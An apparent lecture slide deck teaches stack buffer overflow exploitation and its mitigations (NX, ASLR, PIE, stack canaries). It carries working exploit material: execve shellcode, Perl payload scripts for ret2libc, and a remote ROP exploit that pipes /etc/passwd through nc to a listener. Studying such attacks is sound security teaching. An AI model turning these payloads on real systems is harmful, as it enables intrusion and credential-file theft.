Your browser doesn't support the features required by impress.js, so you are presented with a simplified version of this presentation.

For the best experience please use the latest Chrome, Safari or Firefox browser.

Stack

Buffer

overflow

overflow overflow overflow overflow

Why should I care?

Stack - refresher course

void g(int param) {
    int buff[2];
    int an_int;
}

void f() {
    g(0xbeefbeef);
}

Example 1 - First jump

#include <stdio.h>

int zero = 0;

int main(int argc, char *argv[]) {
    char buffer[5];
    gets(buffer);

    if (zero == 0) return 0;

    printf("Code never reached");
    return 0;
}

Never

ever

use gets

[maciek@pc ~]$ ./test
abcdefghijklmnoprst
Program received signal SIGSEGV, Segmentation fault.
[maciek@pc ~]$ perl -e ‘print “\x77”x(5+8+4) .“\x41\x84\x04\x08”’ > input
[maciek@pc ~]$ ./test < input
Code never reached
Program received signal SIGSEGV, Segmentation fault.

Before overflow - raw data

Before overflow

After overflow

0804841c <main>:
 804841c:	55                   	push   %ebp
 804841d:	89 e5                	mov    %esp,%ebp
 804841f:	83 e4 f0             	and    $0xfffffff0,%esp
 8048422:	83 ec 20             	sub    $0x20,%esp
 8048425:	8d 44 24 1b          	lea    0x1b(%esp),%eax
 8048429:	89 04 24             	mov    %eax,(%esp)
 804842c:	e8 cf fe ff ff       	call   8048300 <gets@plt>
 8048431:	a1 00 97 04 08       	mov    0x8049700,%eax
 8048436:	85 c0                	test   %eax,%eax
 8048438:	75 07                	jne    8048441 <main+0x25>
 804843a:	b8 00 00 00 00       	mov    $0x0,%eax
 804843f:	eb 11                	jmp    8048452 <main+0x36>
 8048441:	c7 04 24 f4 84 04 08 	movl   $0x80484f4,(%esp)
 8048448:	e8 a3 fe ff ff       	call   80482f0 <printf@plt>
 804844d:	b8 00 00 00 00       	mov    $0x0,%eax
 8048452:	c9                   	leave
 8048453:	c3                   	ret

Consequences

Example 2 - shell code

#include <stdio.h>
     
FILE* f;
     
int main(int argc, char *argv[]) {
    char buffer[100];
 
    f = fopen("input", "r");
    fread(&buffer, 1, 200, f); // Oops!
 
    return 0;
}

Don't use

magic

numbers

Shell code

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" # nop sled
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x48\x83\xec\x18\xc7\x04\x24\x2f\x62\x69" # shellcode
"\x6e\xc7\x44\x24\x04\x2f\x73\x68\x4e\xc7"
"\x44\x24\x08\x41\x41\x41\x41\xc7\x44\x24"
"\x0c\x41\x41\x41\x41\xc7\x44\x24\x10\x42"
"\x42\x42\x42\xc7\x44\x24\x14\x42\x42\x42"
"\x42\x48\x31\xc0\x48\x89\xe7\x88\x47\x07"
"\x48\x89\x7f\x08\x48\x89\x47\x10\xb0\x3b"
"\x48\x8d\x77\x08\x48\x8d\x57\x10\x0f\x05"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" # nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x00\xdf\xff\xff\xff\x7f"                 # return address
;shellcode.asm
[SECTION .text]

global _start

_start:
        sub rsp, 24                 ; allocate 24 bytes on stack
        mov dword [rsp   ], '/bin'  ; push '/bin/sh' string
        mov dword [rsp+ 4], '/shN'
        mov dword [rsp+ 8], 'AAAA'  ; execve 1st argument
        mov dword [rsp+12], 'AAAA'
        mov dword [rsp+16], 'BBBB'  ; execve 2nd argument
        mov dword [rsp+20], 'BBBB'

        xor rax, rax          ; clear rax
        mov rdi, rsp          ; load 1st argument - program to execute
        mov [rdi+7 ], al      ; put a NULL where the N is in the string
        mov [rdi+8 ], rdi     ; put the address of the string to where the AAAAAAAA is
        mov [rdi+16], rax     ; put 8 null bytes into place where the BBBBBBBB is
        mov al, 0x3b          ; execve is syscall 0x3b
        lea rsi, [rdi+8]      ; load 2nd argument - the address of where the AAAAAAAA was
        lea rdx, [rdi+16]     ; load 3rd argument - address of the NULLS
        syscall               ; make the system call
execve("/bin/sh", {"/bin/sh", NULL}, {NULL});

[maciek@pc ~]$ ./shellcode.pl > input
[maciek@pc ~]$ ./prog
sh-4.2$ 

NX-bit

#include <stdio.h>
     
int main(int argc, char *argv[]) {
    unsigned char code[] = {
        0x48, 0x83, 0xec, 0x04,                   // sub $0x4,%rsp
        0x48, 0x31, 0xc0,                         // xor %rax,%rax
        0x48, 0x31, 0xff,                         // xor %rdi,%rdi
        0x48, 0x31, 0xd2,                         // xor %rdx,%rdx
        0xc7, 0x04, 0x24, 0x48, 0x69, 0x0a, 0x00, // movl "Hi" ,(%rsp)
        0x66, 0xbf, 0x01, 0x00,                   // mov $0x1,%di
        0x48, 0x8d, 0x34, 0x24,                   // lea (%rsp),%rsi
        0x66, 0xba, 0x04, 0x00,                   // mov $0x4,%dx
        0x66, 0xb8, 0x01, 0x00,                   // mov $0x1,%ax
        0x0f, 0x05,                               // syscall
        0x48, 0x83, 0xc4, 0x04,                   // add $0x4,%rsp
        0xc3                                      // retq
    };
     
    ( (void (*)()) &code[0])();
     
    return 0;
}
[maciek@pc ~]$ gcc -zexecstack -o nx_bit_test_off nx_bit_test.c 
[maciek@pc ~]$ ./nx_bit_test_off
Hi
[maciek@pc ~]$ gcc -o nx_bit_test_on nx_bit_test.c 
[maciek@pc ~]$ ./nx_bit_test_on
Segmentation fault
[maciek@pc ~]$ execstack nx_bit_test_off nx_bit_test_on
- nx_bit_test_on
X nx_bit_test_off
[maciek@pc ~]$ execstack /usr/bin/* 2>/dev/null| egrep "^X" 
X /usr/bin/grub2-fstest
X /usr/bin/grub2-mkrelpath
X /usr/bin/grub2-script-check
X /usr/bin/nvidia-cuda-mps-control
X /usr/bin/nvidia-cuda-mps-server

Example 3 - return to libc

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <linux/limits.h>

int main(int argc, char *argv[]) {
    char cfg_file_path[PATH_MAX];

    strcpy(cfg_file_path, getenv("HOME"));
    strcat(cfg_file_path, "/.config");
    printf("Using config file: %s\n", cfg_file_path);

    return 0;
}

Don't use

strcpy and

strcat

Return to libc


[maciek@pc ~]$ cat /usr/include/linux/limits.h  | grep PATH_MAX
#define PATH_MAX        4096	/* # chars in a path name including nul */

4096 (buffer)

+ 4 (old EBP)

+ 8 (stack alignment)

= 4108

[maciek@pc ~]$ export CMD="echo 'Your wish is my command !'"
[maciek@pc ~]$ export HOME=`perl -e 'print "A" x 4108 .
> "\xff\xff\xff\xff".
> "\xff\xff\xff\xff".
> "\xff\xff\xff\xff"'`
[maciek@pc ~]$ setarch x86_64 -R ./prog
Using config file: AAAAAAAA...AAAAA????????????/.config
Segmentation fault (core dumped)
[maciek@pc ~]$ gdb prog core.4024 
[New LWP 4024]
Core was generated by './prog'.
Program terminated with signal 11, Segmentation fault.
#0  0xffffffff in ?? ()
(gdb) p system
$1 = {} 0x43dabe50 
(gdb) p exit
$2 = {} 0x43d9fd30 
(gdb) x/10s $esp
0xffffc140:	 "\377\377\377\377\377\377\377\377/.config"
0xffffc151:	 ""
0xffffc152:	 ""
0xffffc153:	 ""
0xffffc154:	 "\001"
0xffffc156:	 ""
0xffffcbee:	 "CMD=echo 'Your wish is my command !'"
0xffffcbfa:	 "USERNAME=maciek"
0xffffcc0a:	 "SESSION_MANAGER=local/unix:@/tmp/.ICE-unix"
0xffffcc58:	 "MC_TMPDIR=/tmp/mc-maciek"
0xffffcc71:	 "DESKTOP_SESSION=gnome"
0xffffcc87:	 "MAIL=/var/spool/mail/maciek"
[maciek@pc ~]$ export HOME=`perl -e 'print "A" x 4108 .
> "\x50\xbe\xda\x43".
> "\x30\xfd\xd9\x43".
> "\xf2\xcb\xff\xff"'`
[maciek@pc ~]$ setarch x86_64 -R ./prog
Using config file: AAAAAAAA...AAAAA????????????/.config
Your wish is my command !

Example 4 - ret 2 libc (x64)

// ...
int main(int argc, char *argv[]) {
  FILE* f = fopen("input", "r");

  // read and check data size
  unsigned char data_size;
  fread(&data_size, sizeof(data_size), 1, f);

  unsigned char total = data_size + HEADER_SIZE;
  if (total >= MAX_MSG) {
    fprintf(stderr, "Data to large: %u\n", data_size); exit(0);
  }

  // read data
  char buffer[MAX_MSG] = {0};
  printf("Reading %u\n", data_size);
  fread(buffer+HEADER_SIZE, 1, data_size, f);

  send(buffer, total);
}

Watch out

for integer

truncation

Return to libc on x86_64

[maciek@pc ~]$ objdump -d /usr/lib64/libc.so.6 | less
 0000003aaaaf1620 <__clone>:
  3aaaaf1620:   48 c7 c0 ea ff ff ff    mov    $0xffffffffffffffea,%rax
  3aaaaf1627:   48 85 ff                test   %rdi,%rdi
  3aaaaf162a:   74 69                   je     3aaaaf1695 <__clone+0x75>
  3aaaaf162c:   48 85 f6                test   %rsi,%rsi
  3aaaaf162f:   74 64                   je     3aaaaf1695 <__clone+0x75>
  3aaaaf1631:   48 83 ee 10             sub    $0x10,%rsi
  # [...]
  3aaaaf1688:   00 
  3aaaaf1689:   58                      pop    %rax
  3aaaaf168a:   5f                      pop    %rdi
  3aaaaf168b:   ff d0                   callq  *%rax
  3aaaaf168d:   48 89 c7                mov    %rax,%rdi
  # [...]

Perfect:

#!/bin/perl
open  FILE, ">", "input" or die $!;
print FILE "\xf8"."\x55"x(108).
           "\x89\x16\xaf\xaa\x3a\x00\x00\x00".   # clone+105
           "\xb0\x17\xa4\xaa\x3a\x00\x00\x00".   # system -> eax
           "\xfc\xeb\xff\xff\xff\x7f\x00\x00";   # CMD    -> rdi
[maciek@pc ~]$ echo $CMD
/bin/sh
[maciek@pc ~]$ setarch x86_64 -R ./prog64 
Reading 248
Sending 85 bytes
sh-4.2$ 

ASLR


Example 4 - remote attack

// ...
int recv_bytes(int conn) {
    char len = 0;
    char buffer[100] = {0};

    recv(conn, &len, 1, MSG_WAITALL);
    if (len > 100) {
        printf("data to large: %d\n", len); return;
    }

    printf("length: %d\n", len);
    recv(conn, buffer, len, MSG_WAITALL);
}

int main(int argc, char* argv[]) {

    // ...
    while (1) {
        conn = accept(sock, (struct sockaddr*) NULL, NULL);
        recv_bytes(conn);
    }
}

Beware of

sign / unsigned

comparison

Remote attack

How to get the command string?


[maciek@pc ~]$ objdump -d /usr/lib64/libc.so.6 \
> | grep -A1 "lea.*rsp.*rdi" \
> | grep -B1 "call.*\\*%r.x"

  3aaaa41578:	48 8d 7c 24 20       	lea    0x10(%rsp),%rdi
  3aaaa4157d:	ff d0                	callq  *%rax
Great - now we need second code fragment that:
[maciek@pc ~]$ objdump -d libc.so.6 | grep -A1 "pop.*rax" | grep -B1 retq
[maciek@pc ~]$ objdump -d libc.so.6 | grep -A2 "pop.*rax" | grep -B2 retq
[maciek@pc ~]$ objdump -d libc.so.6 | grep -A3 "pop.*rax" | grep -B3 retq
  3aaaa1f036:	58                   	pop    %rax
  3aaaa1f037:	5b                   	pop    %rbx
  3aaaa1f038:	5d                   	pop    %rbp
  3aaaa1f039:	c3                   	retq

3 stack frames / 3 jumps

#!/bin/perl
use Socket qw(PF_INET SOCK_STREAM pack_sockaddr_in inet_aton);
socket(my $socket, PF_INET, SOCK_STREAM, 0) or die "socket: $!";
connect($socket, pack_sockaddr_in(4321, inet_aton("localhost"))) or die;

print $socket "\xff";                             # send size

print $socket "\x77"x100;                         # fill buffer
print $socket "\x77"x20;                          # junk
print $socket "\x36\xf0\xa1\xaa\x3a\x00\x00\x00"; # ret
print $socket "\xb0\x17\xa4\xaa\x3a\x00\x00\x00"; # rax
print $socket "\x77"x8;                           # rbx
print $socket "\x77"x8;                           # rbp
print $socket "\x95\xd0\xa6\xaa\x3a\x00\x00\x00"; # ret
print $socket "\x77"x8;                           # junk
print $socket "\x77"x8;                           # junk
print $socket "cat /etc/passwd | nc 127.0.0.1 5432\x00";
[maciek@pc ~]$ nc -l 127.0.0.1 5432 &
[1] 4169
[maciek@pc ~]$ ./srv &
[2] 4170
[maciek@pc ~]$ ./send.pl
length: 255

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[...]
tcpdump:x:72:72::/:/sbin/nologin
maciek:x:500:500:maciek:/home/maciek:/bin/bash

[1]-  Done                    nc -l 127.0.0.1 5432
[2]+  Segmentation fault      ./srv
[maciek@pc ~]$

ASLR + PIE

[maciek@pc aslr]$ for i in {1..3}; do ldd /sbin/sshd | grep libc.so; done
        libc.so.6 => /lib64/libc.so.6 (0x00007f29679ee000)
        libc.so.6 => /lib64/libc.so.6 (0x00007f000139a000)
        libc.so.6 => /lib64/libc.so.6 (0x00007fd2e7c82000)

PASSED

[maciek@pc aslr]$ for i in {1..3}; do ldd /usr/bin/firefox-bin | grep libc.so; done
        libc.so.6 => /lib64/libc.so.6 (0x0000003b4bc00000)
        libc.so.6 => /lib64/libc.so.6 (0x0000003b4bc00000)
        libc.so.6 => /lib64/libc.so.6 (0x0000003b4bc00000)

FAILED

Ret. to libc - brute force

Stack guard

Stack guard vs stack layout

#include <stdio.h>
void f();
     
int main(int argc, char* argv[]) {
    char* p1 = (char*) 1;
    char a2[2] = {2, 2};
    char v3 = 3;
    char a4[2] = {4, 4};
    char v5 = 5;
    f();

    return 0;
}

Enabled by compilation flag:

#include <stdio.h>
          
int main(int argc, char* argv[]) {
    int buffer[10];
 
    buffer[10] = 0xff;
 
    return 0;
}
[maciek@pc canary]$ objdump -d guard_test_on
000000000040050c <main>:
 push  %rbp
 mov   %rsp,%rbp
 sub   $0x40,%rsp
 mov   %edi,-0x34(%rbp)
 mov   %rsi,-0x40(%rbp)
 mov   %fs:0x28,%rax                  # move 8 byte guard value
                                      # from %fs:0x28 to 8 bytes
 mov   %rax,-0x8(%rbp)                # after the local variables
 xor   %eax,%eax
 movl  $0xff,-0x8(%rbp)               # array overflow
 mov   $0x0,%eax
 mov   -0x8(%rbp),%rdx                # move the pointer from stack
 xor   %fs:0x28,%rdx                  # compare the %fs:0x28 value
                                      # with stored value on stack
 je    40054a <main+0x3e>             # - on success jump to leaveq
 callq 4003e0 <__stack_chk_fail@plt>  # - on failure call __stack_chk_fail
 leaveq 
 retq   
 nopl  0x0(%rax)

Additional flag added:

shellcode NX-bit ret. to libc x86_64 ret. to libc (x64) ASLR ret. to libc (net) ASLR+PIE brute force stack guard
don't do NX-bit ASLR PIE guard

Thank you

Use a spacebar or arrow keys to navigate